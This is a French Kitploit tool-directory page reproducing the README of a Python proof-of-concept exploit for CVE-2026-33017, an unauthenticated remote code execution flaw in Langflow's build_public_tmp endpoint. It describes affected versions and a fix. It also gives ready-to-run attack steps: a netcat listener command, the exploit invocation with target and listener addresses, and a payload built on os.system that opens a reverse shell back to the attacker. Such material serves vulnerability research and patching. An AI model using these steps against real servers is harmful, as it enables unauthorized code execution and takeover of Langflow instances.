Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33017 — Exploit de preuve de concept en Python pour CVE-2026-33017, une vulnérabilité d'exécution de code à distance non authentifiée dans Langflow. Fournit un shell inverse via l'injection de nœuds de flux malveillants. | Kitploit
Outils/GitHubGitHub/c0gnit00/cve-2026-33017
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationOutil d'Accès à Distance
GitHubc0gnit00/cve-2026-33017

CVE-2026-33017

Exploit de preuve de concept en Python pour CVE-2026-33017, une vulnérabilité d'exécution de code à distance non authentifiée dans Langflow. Fournit un shell inverse via l'injection de nœuds de flux malveillants.

Voir le dépôt
23il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33017 - Langflow RCE non authentifiée

⚠️ AVERTISSEMENT : Ce dépôt est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par cet outil.

Aperçu

CVE-2026-33017 est une vulnérabilité d'exécution de code à distance non authentifiée dans Langflow, un framework visuel pour créer des applications LangChain.

L'endpoint POST /api/v1/build_public_tmp/{flow_id}/flow permet de créer des flux publics sans authentification. Lorsque le paramètre facultatif data est fourni, l'endpoint utilise les données de flux contrôlées par l'attaquant (contenant du code Python arbitraire dans les définitions de nœuds) au lieu des données de flux stockées dans la base de données. Ce code est passé à exec() sans aucun sandboxing, ce qui entraîne une exécution de code à distance non authentifiée.

Versions affectées

  • Langflow <= 1.7.3
  • Corrigé dans Langflow >= 1.8.2

Prérequis pour l'exploitation

  1. L'instance Langflow cible possède au moins un flux public (courant pour les démos, les chatbots, les workflows partagés)
  2. L'attaquant connaît l'UUID du flux public (découvrable via les liens/URLs partagés)
  3. Aucune authentification requise — seulement un cookie client_id (n'importe quelle valeur de chaîne arbitraire)

Installation

root@kitploit:~
git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

Utilisation

1. Mettre en place un listener

Sur votre machine d'attaque, démarrez un listener netcat pour recevoir le reverse shell :

root@kitploit:~
nc -lvnp 4444

2. Lancer l'exploit

root@kitploit:~
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444

Arguments

ArgumentRequisDescription
--urlOuiURL cible (ex. : http://localhost:7860)
--flow-idOuiUUID du flux public
--lhostOuiAdresse IP de votre listener
--lportOuiPort de votre listener
--timeoutNonDélai d'expiration de la requête en secondes (défaut : 15)

Exemple

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Fire exploit
python3 CVE-2026-33017.py \
    --url http://192.168.1.100:7860 \
    --flow-id 550e8400-e29b-41d4-a716-446655440000 \
    --lhost 10.0.0.5 \
    --lport 4444

Fonctionnement

  1. craft_malicious_node() — Construit un nœud Langflow malveillant contenant un CustomComponent avec du code Python contrôlé par l'attaquant. Le code inclut un appel os.system() de niveau supérieur qui s'exécute pendant la construction du graphe (avant même que le flux ne « s'exécute »).

  2. fire_payload() — Envoie le nœud malveillant au format JSON à l'endpoint non authentifié build_public_tmp avec un cookie client_id aléatoire.

  3. Exécution du code — Le serveur analyse les données de flux fournies par l'attaquant, instancie le composant personnalisé et appelle exec() sur le code embarqué pendant prepare_global_scope(). L'affectation de niveau supérieur _r = __import__('os').system(...) déclenche immédiatement l'exécution de la commande.

  4. Reverse Shell — La charge utile lance un reverse shell Python qui se connecte à votre listener.

Détails de la vulnérabilité

Cause racine

L'endpoint build_public_tmp est conçu pour être non authentifié (pour les flux publics), mais il accepte à tort des données de flux fournies par l'attaquant via le paramètre data. Lorsque data est fourni, il contourne les données de flux stockées et transmet directement les nœuds contrôlés par l'attaquant au constructeur de graphe.

Correctif recommandé

Supprimez le paramètre data de build_public_tmp. Les flux publics ne doivent exécuter que leurs données de flux stockées dans la base de données, jamais des données fournies par l'attaquant.

Références

  • NVD - CVE-2026-33017
  • Langflow Version 1.8.2

Licence

Ce projet est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.

Télécharger l’outil